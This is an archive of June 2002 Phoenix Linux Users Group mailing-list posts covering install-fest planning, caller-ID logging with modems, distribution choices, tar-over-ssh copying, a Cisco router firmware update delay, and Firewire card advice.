Robert A.Klahn Slackware: ______ Bruce Pettycrew BSD: Justin Zeigler and Harry McGregor of www.OSEF.org (Tucson) J.Francois General Assistance: _____ _____ Matt Alexander Kirby Susan Henson Presentations: per Thurman, we will have a room with video projector. - TENTATIVE SCHEDULE: 10:30 am Linux/Open Source Jim Wejroch 11:30 am Linux Terminal Server Project Matt Alexander 12:30 pm Open Source On the Educational Desktop Harry McGregor of www.OSEF.org 1:30 pm KDE ______ or Jim Wejroch 2:30 pm Linux/Open Source der.hans (Should have several folks to speak briefly). - Videotape, Stallman visit October 2001: Thurman - Other presentations: ________: ______ (Your chance to speak!) Food: per Thurman: - SCC to provide food stand. Outside food, non-alc. drink OK. - Food and drink are allowed in the Turquoise Room and Foyer area. Giveaways: - (see also Vendor above) - PLUG handouts: ______ ______ - PLUG business cards: Jim - Tux the Penguin, case badges, to all successful installs. Dennis Kibbe - SCC is going to give away the following books: + Just For Fun (The Story of an Accidental Revolutionary) + The Cathedral and Bazaar (Musings on the Linux and Open Source by an Accidental Revolutionary) + Open Sources (Voices from the Open Source Revolution) + Free as in Freedom (Richard Stallman's Crusade for Free Software) - Vendors: + Terra Soft: 10 packaged copies of Yellow Dog Linux 2.1. (Power PC) + TurboLinux: books & "goodies" CDROMs to give away - Mandrake 8.2 ______ - Debian ______ - RedHat 7.3 10 copies, Matt Alexander - ___________ ______ <- Your favorite distro here! - Open Office, Mozilla 1.0. 10 copies, Matt Alexander Working computers for people to see. - Apple G3, der.hans (closed box) - ____________ <- KDE? - ____________ <- Gnome? - ____________ <-- need at least one with CD burner + Firewall Distro demos - __________ - __________ - FreeSCO: has one ready to go ----- MATERIALS LIST ----- Start of a list. Let me know which you can bring. Reply to me (not to all) with any additions / changes. Then we'll cc the pluglist. Ideally we'd have several folks with a "reserve" of items in their cars' trunks... GENERAL. - Markers, paper, tape -- for signs - Pens, pencils - Preprinted signs ("Install fest This Way" [left, right, up]) - Easel, whiteboard, drymarkers - PLUG banner. Jim Wejroch HANDOUTS. - PLUG business cards Jim Wejroch - Flyers. Susan Henson, in progress. Current: Revision 6, 2002-06-08 - Other. We still need various handouts: Suggestions? - Vendor materials - Supply of blank CDRs, and access to ISOs of several distributions on an operable computer with a CD burner. - Hardware Inventory / Waiver forms -- see http://www.vlug.org/ifht/ COMPUTERS. (for people to gawk at and play with) - Operable PC running Red Hat. - Operable PC running Mandrake. - Operable PC running Debian. - Operable Apple, IPAQ, PC running other distros, etc etc. PARTS. - power strips / surge protectors (several folks pls bring) - network switch/hub & cables (Hans?) - extra network switch/hub & cables for Firewall demos - spare keyboards William Lindley - spare mice William Lindley - various converter plugs, screws, etc. - screwdrivers - network cards (PCI, ISA) - extra floppy drives, cdrom drives, video and sound cards (for folks with recalcitrant hardware?) - IDE, floppy cables FOOD. - _______ - _______ - _______ <--- sponsors? ----------------- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:14:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Mandala) Date: 10 Jun 2002 10:14:17 -0700 Subject: Caller ID (was telephony) In-Reply-To: <200206100943.07646@granroth.org> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> <200206100943.07646@granroth.org> Message-ID: <1023729258.1536.5.camel@CX868974-C> The modem by itself may not be able to but with a small bit of work you could build a current monitor and us it in conjunction with the modem and get the total time the phone is in use and log all inbound calls as to who they were. The phone draws little to no DC current until you pickup (answer) the phone then it draws enough to measure easily. Davidm On Mon, 2002-06-10 at 09:43, Kurt Granroth wrote: > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > 0) get cid from your provider > > 1) get a cid + linux compatible modem > > 2a) get one of the many cid apps (see sourceforge) > > 2b) roll your own with Device::Serial or direct ioctl calls > > 3) YMMV > > > > For instance, I've got my roll-your-own program sending jabber > > messages to me currently. :-) > > On a related topic, does anybody know if any of the cid programs for Linux > support logging the call time? I'm trying to figure out a way to count up > the total number of minutes that my phone is in use (incoming and outgoing; > local and long distance) and Qwest won't give me that info without a > subpoena. Now I know that my modem can get the CID info without answering > the phone, but can it figure out how long the phone is active? > -- > Kurt Granroth - "KDE -- Conquer Your Desktop" > KDE Developer/Evangelist | granroth@kde.org > http://www.granroth.org | kurt@granroth.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:42:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 10 Jun 2002 10:42:07 -0700 Subject: Install Fest Question In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF16B73A@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF16B73A@azmscorp01.corp.azms> Message-ID: <0206101042070N.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Most home computer users who are unfamiliar with Linux would probably be best having Mandrake (my choice), Red Hat, or S.u.S.E. Installed. If a customer has a preference for another distribution, there will be Internet connectivity available to get it. On a related note, we will have V1.0 of Open Office and Mozilla available, thanks to Matt. On Monday 10 June 2002 10:16, you wrote: > All, > > > Is there going to be a distribution that is going to be recommended at the > install fest over another? I am sure everyone has their favorites just > didn't know if there was going to be a standard. Thanks. > > > -Larry > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQTk7ysk3ywszI1FEQIStgCdHAEDYJ7c50vQAlJjaA4hBMkoaSsAniNa 7IiBXjbGf1bl9dyxiyyLg3ZF =MfYo -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:00:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 10 Jun 2002 11:00:59 -0700 Subject: Caller ID (was telephony) In-Reply-To: <200206100943.07646@granroth.org> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> <200206100943.07646@granroth.org> Message-ID: <20020610180059.GX14558@ecloud.org> On Mon, Jun 10, 2002 at 09:43:07AM -0700, Kurt Granroth wrote: > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > 0) get cid from your provider > > 1) get a cid + linux compatible modem > > 2a) get one of the many cid apps (see sourceforge) > > 2b) roll your own with Device::Serial or direct ioctl calls > > 3) YMMV > > > > For instance, I've got my roll-your-own program sending jabber > > messages to me currently. :-) > > On a related topic, does anybody know if any of the cid programs for Linux > support logging the call time? I'm trying to figure out a way to count up > the total number of minutes that my phone is in use (incoming and outgoing; > local and long distance) and Qwest won't give me that info without a > subpoena. Now I know that my modem can get the CID info without answering > the phone, but can it figure out how long the phone is active? Well I see that a modem will not dial out if you are talking on the phone, so obviously it can tell that it's in use. It tries to detect dial tone, and says "no dial tone" if it doesn't hear it. So maybe you could find some tricky way to get it to try and dial, without actually dialing, and see what sort of error message you get back; and thus develop a method to poll the line to see when it's in use. But I think you will hear a "click" each time it does this. As for caller ID, I'm currently using 2 methods. One, is that I modified mgetty/vgetty to call an external program with caller ID info. (It already logs this info, and can use CID to decide whether to answer the phone or not, etc.) Then I wrote an external program which given caller ID info on its command-line, constructs an XML message, and sends it out as a multicast packet. That way any machine on the network can monitor and display this information. Then I wrote a very simple X client which runs in the background and pops up a window when it receives one of these packets. There is another caller ID daemon that you will find on freshmeat, which uses multicast or broadcast packets I think. And it works with a Gnome panel applet called gtele. However you must dedicate a modem just for this daemon. I naturally wanted to do voicemail on the same line, so modifying mgetty seems like a better choice to me. But I need to submit a patch some day to the author, and get some help with making it better, because right now it's kindof slow - I don't see that packet until after the second ring, whereas it should be after the first ring. My second method is a QNX app called ACID (Audrey Caller ID). It uses the Audrey's built-in modem to get caller ID data and display it, and can also act as a server so that other instances of ACID on other machines can connect to it and display the data. It can also log calls, use a database to match names with numbers, play sounds when specific people call, etc. Those are good ideas. But maybe the "suggested sound" should be specified as a URL in my XML message, and then the fancier clients could get it from a web server and play it, instead of having to deploy the sounds themselves on each client. And the server would make the decision about which sound to play. I could even have the server use festival to speak the name, create a sound file and make it available on the web server, at the same time it sends out the packet, so that there will always be a sound; and additionally there could be custom sounds for specific friends. I want to write a QNX app that receives my multicast packets, and maybe a Mac one, and a KDE one, and modify gtele. I would welcome help with these things if any of you have expertise with such things. I will try to build the QNX client next, I think; I put together a development system just for that purpose. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:06:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Buettner) Date: Mon, 10 Jun 2002 11:06:34 -0700 Subject: sftp In-Reply-To: Carl Parrish "Re: Re: sftp" (Jun 10, 1:24pm) References: <20020610172400.IWLO4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: <1020610180634.ZM14959@localhost.localdomain> On Jun 10, 1:24pm, Carl Parrish wrote: > Kevin when you tar a file does it create a copy or does it effect > the original? The directories I need to more are on a semi public > box and will be in use during the transfer. It doesn't modify the original file. If you don't want to create a copy of the directories that you're transferring, you can do it something like this: cd somewhere tar cf - somedir1 somedir2 | ssh remote.host.com 'cd somewhereelse; tar xvf -' Or: ssh remote.host.com 'cd somewhere; tar cf - somedir1 somedir2' \ | ( cd somewhereelse; tar xvf - ) Kevin From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:06:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 10 Jun 2002 13:06:15 -0500 (CDT) Subject: Install Fest Question In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF16B73A@azmscorp01.corp.azms> Message-ID: The ones your friends use. -Derek On Mon, 10 Jun 2002, Larry Lauer wrote: > > All, > > > Is there going to be a distribution that is going to be recommended at the install fest over another? I am sure everyone has their favorites just didn't know if there was going to be a standard. Thanks. > > > -Larry > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:56:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 10 Jun 2002 11:56:48 -0700 Subject: Install Fest Question In-Reply-To: References: Message-ID: <200206101156.48695.voltage_spike@fastmail.fm> On Monday 10 June 2002 11:06 am, Derek Neighbors wrote: > The ones your friends use. > > On Mon, 10 Jun 2002, Larry Lauer wrote: > > Is there going to be a distribution that is going to be recommended at > > the install fest over another? I am sure everyone has their favorites > > just didn't know if there was going to be a standard. Thanks. Windows? PS: And yes, I am trying to get my friends to come. ;-) -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 19:38:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Page greer) Date: Mon, 10 Jun 2002 12:38:33 -0700 Subject: modem configuration Message-ID: <20020610.124045.1812.2.eegap@juno.com> I've got aanew modem that for some reason I can't get to con figure Im running Dual. boot system With Xp And Suse 8.0 pro The reason I got the new modem is the isp had there # s changed and the weren 't told It supposed to be really easy under yastY to do this I've had it on-line with Xp . But for some reason it wont initiate. Suse uses SUSE meta as pppd and it was working under KDE 3.0 I've red all through Suse manuals and cant find there Docs on Suse meta or the smppppd file its under I cant find the dumb file in the Command line under root either any body got any idea's ITS a zoom modem off suse's capatablelist From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 19:42:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 12:42:59 -0700 Subject: Caller ID (was telephony) In-Reply-To: <20020610180059.GX14558@ecloud.org> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> <200206100943.07646@granroth.org> <20020610180059.GX14558@ecloud.org> Message-ID: <200206101943.PAA02238@hostinworld6.com> I don't think that it's slow. I heard somewhere the the Telco sends the info after the second ring. -Bryce On 10 Jun 2002 11:00:59 -0700, Shawn Rutledge wrote: > On Mon, Jun 10, 2002 at 09:43:07AM -0700, Kurt Granroth wrote: > > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > > 0) get cid from your provider > > > 1) get a cid + linux compatible modem > > > 2a) get one of the many cid apps (see sourceforge) > > > 2b) roll your own with Device::Serial or direct ioctl calls > > > 3) YMMV > > > > > > For instance, I've got my roll-your-own program sending jabber > > > messages to me currently. :-) > > > > On a related topic, does anybody know if any of the cid programs for Linux > > support logging the call time? I'm trying to figure out a way to count up > > the total number of minutes that my phone is in use (incoming and outgoing; > > local and long distance) and Qwest won't give me that info without a > > subpoena. Now I know that my modem can get the CID info without answering > > the phone, but can it figure out how long the phone is active? > > Well I see that a modem will not dial out if you are talking on the > phone, so obviously it can tell that it's in use. It tries to detect > dial tone, and says "no dial tone" if it doesn't hear it. So maybe you > could find some tricky way to get it to try and dial, without actually > dialing, and see what sort of error message you get back; and thus > develop a method to poll the line to see when it's in use. But I think > you will hear a "click" each time it does this. > > As for caller ID, I'm currently using 2 methods. One, is that I modified > mgetty/vgetty to call an external program with caller ID info. (It > already logs this info, and can use CID to decide whether to answer the > phone or not, etc.) Then I wrote an external program which given caller > ID info on its command-line, constructs an XML message, and sends it out > as a multicast packet. That way any machine on the network can monitor > and display this information. Then I wrote a very simple X client which > runs in the background and pops up a window when it receives one of these > packets. > > There is another caller ID daemon that you will find on freshmeat, which > uses multicast or broadcast packets I think. And it works with a Gnome > panel applet called gtele. However you must dedicate a modem just for > this daemon. I naturally wanted to do voicemail on the same line, so > modifying mgetty seems like a better choice to me. But I need to submit > a patch some day to the author, and get some help with making it better, > because right now it's kindof slow - I don't see that packet until after > the second ring, whereas it should be after the first ring. > > My second method is a QNX app called ACID (Audrey Caller ID). It uses > the Audrey's built-in modem to get caller ID data and display it, and can > also act as a server so that other instances of ACID on other machines > can connect to it and display the data. It can also log calls, use a > database to match names with numbers, play sounds when specific people > call, etc. Those are good ideas. But maybe the "suggested sound" > should be specified as a URL in my XML message, and then the fancier > clients could get it from a web server and play it, instead of having to > deploy the sounds themselves on each client. And the server would make > the decision about which sound to play. I could even have the server use > festival to speak the name, create a sound file and make it available on > the web server, at the same time it sends out the packet, so that there > will always be a sound; and additionally there could be custom sounds for > specific friends. > > I want to write a QNX app that receives my multicast packets, and maybe a > Mac one, and a KDE one, and modify gtele. I would welcome help with > these things if any of you have expertise with such things. I will try > to build the QNX client next, I think; I put together a development > system just for that purpose. > > -- > _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com > (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org > __) | | \________________________________________________________________ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 19:48:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 10 Jun 2002 12:48:54 -0700 Subject: Install Fest Question Message-ID: <01C2107D.2E693B40.wlindley@wlindley.com> > Is there going to be a distribution that is going to be recommended at > the install fest over another? So far the count of folks who would help install the various distributions stands at: RedHat: 3 (Robert Ambrose, Alan Dayley, Robert Klahn) Mandrake: 3 (Kevin O'Connor, Virgil Silhanek, William Lindley) BSD: 3 (Justin Zeigler, Harry McGregor, J. Francois) Slackware: 1 (Bruce Pettycrew) Debian: 1 (Robert Klahn) Folks, vote for your favorite distribution by telling me (OFF-LIST: wlindley@wlindley.com ) you'll be there to help with an install or two! \\/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 19:57:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 10 Jun 2002 12:57:31 -0700 Subject: Caller ID (was telephony) In-Reply-To: <200206101943.PAA02238@hostinworld6.com> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> <200206100943.07646@granroth.org> <20020610180059.GX14558@ecloud.org> <200206101943.PAA02238@hostinworld6.com> Message-ID: <20020610195731.GA14558@ecloud.org> On Mon, Jun 10, 2002 at 12:42:59PM -0700, Bryce C. wrote: > I don't think that it's slow. I heard somewhere the the Telco sends the > info after the second ring. No it's after the first ring. My standalone caller ID box and the Audreys both receive it much sooner than the mgetty mod. It's just that mgetty wasn't designed for that; so far it uses caller ID to decide whether to answer the phone or not, and speed isn't very important for that purpose. > On 10 Jun 2002 11:00:59 -0700, Shawn Rutledge wrote: > > On Mon, Jun 10, 2002 at 09:43:07AM -0700, Kurt Granroth wrote: > > > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > > > 0) get cid from your provider > > > > 1) get a cid + linux compatible modem > > > > 2a) get one of the many cid apps (see sourceforge) > > > > 2b) roll your own with Device::Serial or direct ioctl calls > > > > 3) YMMV > > > > > > > > For instance, I've got my roll-your-own program sending jabber > > > > messages to me currently. :-) > > > > > > On a related topic, does anybody know if any of the cid programs for Linux > > > support logging the call time? I'm trying to figure out a way to count up > > > the total number of minutes that my phone is in use (incoming and outgoing; > > > local and long distance) and Qwest won't give me that info without a > > > subpoena. Now I know that my modem can get the CID info without answering > > > the phone, but can it figure out how long the phone is active? > > > > Well I see that a modem will not dial out if you are talking on the > > phone, so obviously it can tell that it's in use. It tries to detect > > dial tone, and says "no dial tone" if it doesn't hear it. So maybe you > > could find some tricky way to get it to try and dial, without actually > > dialing, and see what sort of error message you get back; and thus > > develop a method to poll the line to see when it's in use. But I think > > you will hear a "click" each time it does this. > > > > As for caller ID, I'm currently using 2 methods. One, is that I modified > > mgetty/vgetty to call an external program with caller ID info. (It > > already logs this info, and can use CID to decide whether to answer the > > phone or not, etc.) Then I wrote an external program which given caller > > ID info on its command-line, constructs an XML message, and sends it out > > as a multicast packet. That way any machine on the network can monitor > > and display this information. Then I wrote a very simple X client which > > runs in the background and pops up a window when it receives one of these > > packets. > > > > There is another caller ID daemon that you will find on freshmeat, which > > uses multicast or broadcast packets I think. And it works with a Gnome > > panel applet called gtele. However you must dedicate a modem just for > > this daemon. I naturally wanted to do voicemail on the same line, so > > modifying mgetty seems like a better choice to me. But I need to submit > > a patch some day to the author, and get some help with making it better, > > because right now it's kindof slow - I don't see that packet until after > > the second ring, whereas it should be after the first ring. > > > > My second method is a QNX app called ACID (Audrey Caller ID). It uses > > the Audrey's built-in modem to get caller ID data and display it, and can > > also act as a server so that other instances of ACID on other machines > > can connect to it and display the data. It can also log calls, use a > > database to match names with numbers, play sounds when specific people > > call, etc. Those are good ideas. But maybe the "suggested sound" > > should be specified as a URL in my XML message, and then the fancier > > clients could get it from a web server and play it, instead of having to > > deploy the sounds themselves on each client. And the server would make > > the decision about which sound to play. I could even have the server use > > festival to speak the name, create a sound file and make it available on > > the web server, at the same time it sends out the packet, so that there > > will always be a sound; and additionally there could be custom sounds for > > specific friends. > > > > I want to write a QNX app that receives my multicast packets, and maybe a > > Mac one, and a KDE one, and modify gtele. I would welcome help with > > these things if any of you have expertise with such things. I will try > > to build the QNX client next, I think; I put together a development > > system just for that purpose. > > > > -- > > _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com > > (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org > > __) | | \________________________________________________________________ > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 21:19:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 10 Jun 2002 14:19:54 -0700 Subject: Caller ID (was telephony) In-Reply-To: <20020610195731.GA14558@ecloud.org> References: <200206101943.PAA02238@hostinworld6.com> <20020610195731.GA14558@ecloud.org> Message-ID: <200206101419.54560.voltage_spike@fastmail.fm> On Monday 10 June 2002 12:57 pm, Shawn Rutledge wrote: > On Mon, Jun 10, 2002 at 12:42:59PM -0700, Bryce C. wrote: > > I don't think that it's slow. I heard somewhere the the Telco sends > > the info after the second ring. > > No it's after the first ring. My standalone caller ID box and the > Audreys both receive it much sooner than the mgetty mod. It's just > that mgetty wasn't designed for that; so far it uses caller ID to > decide whether to answer the phone or not, and speed isn't very > important for that purpose. The caller ID information wait times out after the second ring. Perhaps the information is being sent on the timeout rather than when the checksum byte is received? Something to look at. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 20:58:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eric Richardson) Date: Mon, 10 Jun 2002 13:58:59 -0700 Subject: Cisco DoS required CBOS upgrade- Qwest complaint References: Message-ID: <3D051313.1030805@milagrosoft.com> Patrick Fleming EA wrote: > I have been in contact with Cisco support as well as customer support > within Qwest regarding a serious Denial of Service update to the software > that runs my Cisco 678 router. On 5-23-2002 Cisco released the following > advisory: http://www.cisco.com/warp/public/707/CBOS-DoS.shtml As > indicated, I called Qwest- the provider of my modem. The first person I > talked to transfered me to another department. Without talking to anyone > at all, just following the prompts provided by the voice mail system, I > was able to get right back where I originally started, with DSL Tech > support. This time I was told that they had just received a memo regarding > the updated software but that he didn't know anything more regarding the > memo. This was either 5-28 or 5-29. I emailed Cisco, based upon their > press release to attempt to get the update from them as I was unsuccessful > with getting anything from Qwest. Their response is the following website: > http://www.qwest.com/dsl/customerservice/modemsupport.html which as of > 9:00am 5-31-2002 indicated that they are working on getting the software > ready for use by their customers. This software has been available since > 5-23 from Cisco, but since Qwest DSL users purchase their modems from > Qwest, Cisco indicates that it is Qwest's responsibility to provide the > upgrades. I would have no problem with that if Qwest fulfilled this > responsibility with their customers, of which I am only one. I have > recontacted Cisco in regards to the unavailability of the upgrade on > Qwest's site and I seem to be in a support loop waiting for a human to > read my email. > > I believe that this deserves the attention of the Corporation Commission > as it represents a shortfall in the quality of service provided by a > public utility. > > > from 5-13-02 Eric Richardson wrote: Hi, Is there a way to get the CBOS 2.4.3 for a 675 and install it with Linux via the terminal port and a com program. I have tried connecting via modem serial port but I'm not really sure how to do the upgrade. I'm in routing mode so I don't think I can use the tftp procedure as the router doesn't have a IP address. Any help appreciated, Thanks for the help / encouragement. I wanted to send an update on my findings. I didn't know that the .exe format is a zip format - that is interesting. I found a place on line for the firmware. http://postyware.dyndns.org/cisco-firmware Note that the images are different based on the original CBOS version. In my case this was 2.2.0. I tried to use the tftp program to download the code but had no luck. I'm using Debian 2.2 so I was able to apt-get tftp. I installed minicom to communicate to the router but what I did wrong was I did not install lrzsz which contains the kermit, xyz/modem stuff. I thought perhaps the option were wrong so I went to look at the man pages for sx (send xmodem) and it was there so then I knew I was a dummy. I found that the lrzsz was recommended but not a dependency for minicom. Finally, after I had the right software but still no luck, I decided to try zmodem which didn't work and then ymodem which worked. I have no idea why xmodem didn't work but ymodem did. I upgraded to 2.4.4 and all seems well. I use FastQ and they are finding that the PPP mode rather than the routing mode is more stable so eventually they will be moving customers that direction. Is anybody using the filtering, NAT, DHCP with cisco and what features for the Linux firewall. Maybe this is better for another thread. Eric ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@pluglist.mybutt.net http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 21:47:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Mon, 10 Jun 2002 14:47:05 -0700 Subject: Firewire card for Linux Message-ID: <3D051E59.9030000@esaravana.com> I have to get a Firewire card for my Videocam. Do you suggest any Linux compatible cards? Sundar From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 21:53:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 10 Jun 2002 14:53:55 -0700 Subject: Firewire card for Linux References: <3D051E59.9030000@esaravana.com> Message-ID: <3D051FF3.4EB19AB4@qwest.net> See if this link helps. http://linux1394.sourceforge.net/hcl.php > I have to get a Firewire card for my Videocam. Do you suggest any Linux > compatible cards? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:05:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 10 Jun 2002 15:05:11 -0700 Subject: Firewire card for Linux In-Reply-To: <3D051E59.9030000@esaravana.com> References: <3D051E59.9030000@esaravana.com> Message-ID: <20020610220511.GC14558@ecloud.org> On Mon, Jun 10, 2002 at 02:47:05PM -0700, Sundar wrote: > I have to get a Firewire card for my Videocam. Do you suggest any Linux > compatible cards? Just get an OHCI compatible one. Most of them are, and should certainly say so on the box or web site. I got a fairly nice one I think, for cheap (3 external ports and one internal, maybe it was made by Lucent if memory serves), and the kernel detects it just fine, but that's as far as I got so far: ohci1394: $Revision: 1.80 $ Ben Collins PCI: Found IRQ 11 for device 00:0f.0 PCI: Sharing IRQ 11 with 00:02.2 ohci1394_0: OHCI-1394 1.0 (PCI): IRQ=[11] MMIO=[cffff000-cffff800] Max Packet=[2048] video1394: Installed video1394 module raw1394: /dev/raw1394 device initialized ieee1394: sbp2: Driver forced to serialize I/O (serialize_io = 1) scsi2 : IEEE-1394 SBP-2 protocol driver Any suggestions for good video editing software which can generate VCDs would be appreciated; I want to transfer video from my digital 8mm to some sort of disc format (VCD or maybe DVD some day). And does anybody know if VCD is a universal format, e.g. will the same discs play on a generic PAL DVD player, or do you have to purposely encode at higher res and lower framerate? It would be convenient for sending home movies to my wife's family. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:15:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 10 Jun 2002 15:15:51 -0700 Subject: Firewire card for Linux In-Reply-To: <20020610220511.GC14558@ecloud.org> References: <3D051E59.9030000@esaravana.com> <20020610220511.GC14558@ecloud.org> Message-ID: <20020610221551.GD14558@ecloud.org> On Mon, Jun 10, 2002 at 03:05:11PM -0700, Shawn Rutledge wrote: > Any suggestions for good video editing software which can generate VCDs > would be appreciated; I want to transfer video from my digital 8mm to > some sort of disc format (VCD or maybe DVD some day). > > And does anybody know if VCD is a universal format, e.g. will the same > discs play on a generic PAL DVD player, or do you have to purposely > encode at higher res and lower framerate? It would be convenient for > sending home movies to my wife's family. Well... didn't take long to answer those questions: http://www.geocities.com/Athens/Forum/2496/vcdfaq.html and http://www.theorie.physik.uni-goettingen.de/~ostreich/transcode/mpeg.html -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:05:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 15:05:40 -0700 Subject: Firewire card for Linux In-Reply-To: <3D051E59.9030000@esaravana.com> Message-ID: <200206102213.SAA10796@hostinworld6.com> I was able to use the card that came with my DV Cam from a special at Fry's a couple years ago. It was just fine as a generic UHCI/OHCI (I forget right now). The only problem I noted was an amusing 3 second delay between the cam and display but that's probably just my system. The topic was well discussed in the Feb'02 issue of Linux Journal. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 10 Jun 2002 14:47:05 -0700, Sundar wrote: > I have to get a Firewire card for my Videocam. Do you suggest any Linux > compatible cards? > > Sundar > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:26:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Mon, 10 Jun 2002 15:26:18 -0700 Subject: What newbie training will be available at the InstallFest? Message-ID: <3D05278A.7090102@earthlink.net> I'm a newbie when it comes to Linux and I have a lot of questions. I'd like to get as much knowledge as I can, in the form of training, from the more experienced folks who'll be in attendance at the InstallFest. I'd like to know what exactly will be offered. BTW... Thanks to the folks who've been of help to me so far, both on and off list. I really appreciate it. Ben Chacko nismo96@earthlink.net From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 22:59:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) 